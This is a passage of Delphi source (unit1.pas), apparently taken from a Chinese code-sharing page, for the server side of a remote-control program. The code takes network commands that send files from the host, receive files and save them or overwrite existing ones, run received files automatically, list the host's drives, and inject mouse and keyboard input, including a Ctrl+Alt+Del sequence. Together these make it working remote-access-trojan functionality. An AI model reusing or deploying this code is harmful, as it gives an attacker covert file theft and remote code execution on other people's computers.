📄 unit1.pas
字号:
GMStream.Write(ReadBuffer,ReadSizeTemp)
else exit;
GMStream.Position:=GMStream.Size-8;
GMStream.Read(Buffer2,8);
GMStream.Position:=GMStream.Size;
if Buffer2='$$$$$$$$' then
begin
GMStream.Position:=0;
GMStream.SetSize(GMStream.Size-8);
try
GMStream.SaveToFile(ReplaceFileG);
if autoRUN=True then
ShellExecute(Application.Handle, 'OPEN',
PChar(ReplaceFileG),'','', SW_SHOWNORMAL);
try
socket.SendText('恭喜:传递处理成功!');
socket.close;
except
end;
except
Socket.Close;
GMStream.Clear;
end;
Socket.Close;
GMStream.Clear;
end;
{R+}
end;
procedure TForm1.ReplaceSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
GMStream.Clear;
end;
procedure TForm1.FileExUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
FileEx:array[1..255] of Char;
i:integer;
DiskChList:TStringList;
DiskStream:TStringStream;
iByte:Byte;
begin
try
FileExUDP.ReadBuffer(FileEx,NumberBytes);
except
exit;
end;
if FileEx[1]<>'$' then
Begin
FileExt:='';
for i:=1 to NumberBytes do
FileExt:=FileExt+FileEx[i];
end else
Begin
try
DiskChList:=TStringList.Create;
except
exit;
end;
Try
DiskStream:=TStringStream.Create('');
Except
exit;
end;
For iByte:=3 To 20 do
Begin
if (diskFree(iByte)<>-1)
and (disksize(iByte)<>-1) then
Begin
DiskChList.Add(chr(64+iByte)+':'
+'磁盘:'+IntToStr((disksize(iByte) div (1000*1000)))
+' MB 剩余:'+IntToStr((diskfree(iByte) div (1000*1000)))+' MB');
end;
end;
DiskChList.SaveToStream(DiskStream);
FileExUDP.RemoteHost:=FromIP;
FileExUDP.RemotePort:=Port;
Try
FileExUDP.SendStream(DiskStream);
except
DiskStream.Free;
DiskChList.Free;
end;
DiskStream.Free;
DiskChList.Free;
end;
end;
procedure TForm1.MouseKeyBdUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
RecvChar:array[1..20] of char;
MouseBtn,MousePosX,MousePosY:String;
KeyState,KeyValue,strLsys:String;
i:integer;
ChangeST:Boolean;
MousePoint:TPoint;
begin
MouseKeyBdUDP.ReadBuffer(RecvChar,NumberBytes);
strLsys:=RecvChar[1]+RecvChar[2]+RecvChar[3]+RecvChar[4];
//查看任务
if strLsys='查看' then
begin
KeyBD_Event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_EXTENDEDKEY,0);
application.ProcessMessages;
KeyBD_Event(VK_MENU,MapVirtualKey(VK_MENU,0),KEYEVENTF_EXTENDEDKEY,0);
application.ProcessMessages;
KeyBD_Event(46,MapVirtualKey(46,0),KEYEVENTF_EXTENDEDKEY,0);
application.ProcessMessages;
KeyBD_Event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
application.ProcessMessages;
KeyBD_Event(VK_MENU,MapVirtualKey(VK_MENU,0),KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
application.ProcessMessages;
KeyBD_Event(46,MapVirtualKey(46,0),KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
application.ProcessMessages;
exit;
end;
//切换输入法
if strLsys='切换' then
begin
KeyBD_Event(17,0,0,0);
application.ProcessMessages;
KeyBD_Event(16,0,0,0);
application.ProcessMessages;
KeyBD_Event(16,0,KEYEVENTF_KEYUP,0);
application.ProcessMessages;
KeyBD_Event(17,0,KEYEVENTF_KEYUP,0);
application.ProcessMessages;
exit;
end;
if RecvChar[3]<>'#' then
begin
MouseBtn:=RecvChar[1]+RecvChar[2]+RecvChar[3];
MousePosX:='';
MousePosY:='';
ChangeST:=False;
For i:=4 to NumberBytes do
begin
if (RecvChar[i]<>'*') and (ChangeST<>True) then
begin
MousePosX:=MousePosX+RecvChar[i];
end;
if RecvChar[i]='*' then ChangeST:=True;
if (RecvChar[i]<>'*') and (ChangeST=True) then
begin
MousePosY:=MousePosY+RecvChar[i];
end;
end;
MousePoint.x:=StrToInt(MousePosX);
MousePoint.y:=StrToInt(MousePosY);
SetCursorPos(MousePoint.x,MousePoint.y);
if MouseBtn='LMD' then
begin
SetCapture(WindowFromPoint(MousePoint));
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
end;
if MouseBtn='LMU' then
begin
mouse_event(MOUSEEVENTF_LEFTUP ,0,0,0,0);
end;
if MouseBtn='MMM' then
begin
mouse_event(MOUSEEVENTF_MOVE ,0,0,0,0);
end;
if MouseBtn='RMD' then
begin
SetCapture(WindowFromPoint(MousePoint));
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
end;
if MouseBtn='RMU' then
begin
mouse_event(MOUSEEVENTF_RIGHTUP ,0,0,0,0);
end;
if MouseBtn='MMD' then
begin
mouse_event(MOUSEEVENTF_MIDDLEDOWN,0,0,0,0);
end;
if MouseBtn='MMU' then
begin
mouse_event(MOUSEEVENTF_MIDDLEUP ,0,0,0,0);
end;
end else
Begin
KeyState:=RecvChar[1]+RecvChar[2];
KeyValue:='';
For I:=4 to NumberBytes do
begin
KeyValue:=KeyValue+RecvChar[i];
end;
if KeyState='KD' then
KeyBD_Event(StrToInt(KeyValue),0,0,0);
if KeyState='KU' then
KeyBD_Event(StrToInt(KeyValue),0,KEYEVENTF_KEYUP,0);
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Application.Terminate;
ReleaseDC(DeskHWnd, dc);
CSocket1.Close;
ReplaceSocket.Close;
MonitorSSocket1.Close;
MonitorSSocket2.Open;
jpg.Free;
TheBmp.Free;
GMStream.Free;
MiddleStream.Free;
DirStringList.Free;
FileStringList.Free;
SwapBmp.Free;
SwapBmp0.Free;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose:=True;
Application.Terminate;
end;
procedure TForm1.MonitorSSocket2ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorCode:=0;
Socket.Close;
end;
procedure TForm1.CSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ErrorCode:=0;
GMStream.Clear;
socket.Close;
end;
procedure TForm1.ReplaceSocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode:=0;
GMStream.Clear;
Socket.Close;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
Application.Terminate;
ReleaseDC(DeskHWnd, dc);
CSocket1.Close;
ReplaceSocket.Close;
MonitorSSocket1.Close;
MonitorSSocket2.Open;
jpg.Free;
TheBmp.Free;
GMStream.Free;
MiddleStream.Free;
DirStringList.Free;
FileStringList.Free;
SwapBmp.Free;
SwapBmp0.Free;
GlobalDeleteAtom(GlobalFindAtom('HIRUNNING'));
Application.Terminate;
end;
procedure TForm1.FileCSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
{R-}
Var
LBuffRead:Array[1..8192] of char;
iLReadSize,iLSendStat:Integer;
iLSendSize:LongInt;
begin
GDirStream.Position:=0;iLSendSize:=0;
Repeat
iLReadSize:=GDirStream.Read(LBuffRead,8192);
iLSendSize:=iLSendSize+iLReadSize;
Repeat
Try
iLSendStat:=Socket.SendBuf(LBuffRead,iLReadSize);
except
GDirStream.Size:=0;
end;
until iLSendStat<>-1;
Until iLSendSize=GDirStream.Size;
try
repeat
iLSendStat:=Socket.SendText('$$$$$');
until iLSendStat<>0;
except
GDirStream.Size:=0;
end;
GDirStream.Size:=0;
{R+}
end;
procedure TForm1.FileCSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
{R-}
Var
LBuffRead:Array[1..8192] of char;
iLReadSize,iLSendStat:Integer;
iLSendSize:LongInt;
begin
if Socket.ReceiveText='NEXT' then
Begin
GFileStream.Position:=0;iLSendSize:=0;
Repeat
iLReadSize:=GFileStream.Read(LBuffRead,8192);
iLSendSize:=iLSendSize+iLReadSize;
Repeat
Try
iLSendStat:=Socket.SendBuf(LBuffRead,iLReadSize);
except
GFileStream.Size:=0;
end;
until iLSendStat<>-1;
Until iLSendSize=GFileStream.Size;
try
repeat
iLSendStat:=Socket.SendText('%%%%%');
until iLSendStat<>0;
except
GFileStream.Size:=0;
end;
GFileStream.Size:=0;
socket.Close;
end;
{R+}
end;
procedure TForm1.FileCSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode:=0;
end;
procedure TForm1.MonitorSSocket2ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
Var
SDirStream,SFileStream:TStringStream;
strLDir,strL1,LFileName:String;
iL1:Integer;
begin
strLDir:=Socket.ReceiveText;
strL1:=strLDir[1]+strLDir[2]+strLDir[3];
LFileName:='';
For iL1:=4 To length(strLDir) do LFileName:=LFileName+strLDir[iL1];
//TCP---文件下载:
if strL1='DLD' then
Begin
if FileExists(LFileName) then
begin
GMStream.LoadFromFile(LFileName);
if GMStream<>nil then
Begin
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':文件下载开始...')<>0;
CSocket1.Close;
CSocket1.Address:=Socket.RemoteAddress;
CSocket1.Open;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':文件下载完毕!')<>0;
end;
end;
exit
end;
//TCP---远程执行:
if strL1='RUN' then
Begin
if FileExists(LFileName) then
ShellExecute(Application.Handle, 'OPEN',
PChar(LFileName),'','', SW_SHOWNORMAL);
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程运行完毕!')<>0;
exit;
end;
//TCP---远程存储与执行否?
if strL1='RVN' then
Begin
autoRUN:=True;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程执行OK!')<>0;
exit;
end;
if strL1='RNN' then
Begin
autoRUN:=False;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程执行NO!')<>0;
exit;
end;
//TCP---文件类型
if strL1='EXT' then
Begin
FileExt:=LFileName;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':文件类型已改。')<>0;
exit;
end;
//TCP---远程存储
if strL1='SAV' then
Begin
if DirectoryExists(ExtractFileDir(LFileName))then
begin
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程存储开始...')<>0;
ReplaceFileG:=LFileName;
ReplaceSocket.Close;
ReplaceSocket.Address:=Socket.RemoteAddress;
ReplaceSocket.Open;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程存储结束!')<>0;
end;
exit;
end;
//TCP---远程替换
if strL1='SAS' then
Begin
if FileExists(LFileName)then
begin
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程替换开始...')<>0;
ReplaceFileG:=LFileName;
ReplaceSocket.Close;
ReplaceSocket.Address:=Socket.RemoteAddress;
ReplaceSocket.Open;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':远程替换结束!')<>0;
end;
exit;
end;
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
SDirStream:= TStringStream.Create('');
SFileStream:=TStringStream.Create('');
if DirectoryExists(strLDir) then
begin
CaptureID:=1;
try
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -